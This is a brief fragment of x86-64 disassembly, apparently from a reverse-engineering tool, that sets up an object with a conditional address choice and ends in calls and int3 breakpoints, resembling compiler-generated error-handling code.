call fcn.7ff876f28a04
int3
call fcn.7ff876ee9590
nop
call fcn.7ff876f28a04
nop
call fcn.7ff876f28a04
nop
test al, 2
lea rbx, [0x7ff876f54bb8]
lea rax, [0x7ff876f54bd0]
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x30]
call fcn.7ff876ee9710
mov r8, rax
mov rdx, rbx
lea rcx, [rbp - 0x80]
call fcn.7ff876ee9ef0
lea rdx, [0x7ff876f60818]
lea rcx, [rbp - 0x80]
call fcn.7ff876f1763c
nop
call fcn.7ff876f28a04
nop
call fcn.7ff876f28a04
nop
call fcn.7ff876f28a04
nop
call fcn.7ff876f28a04
int3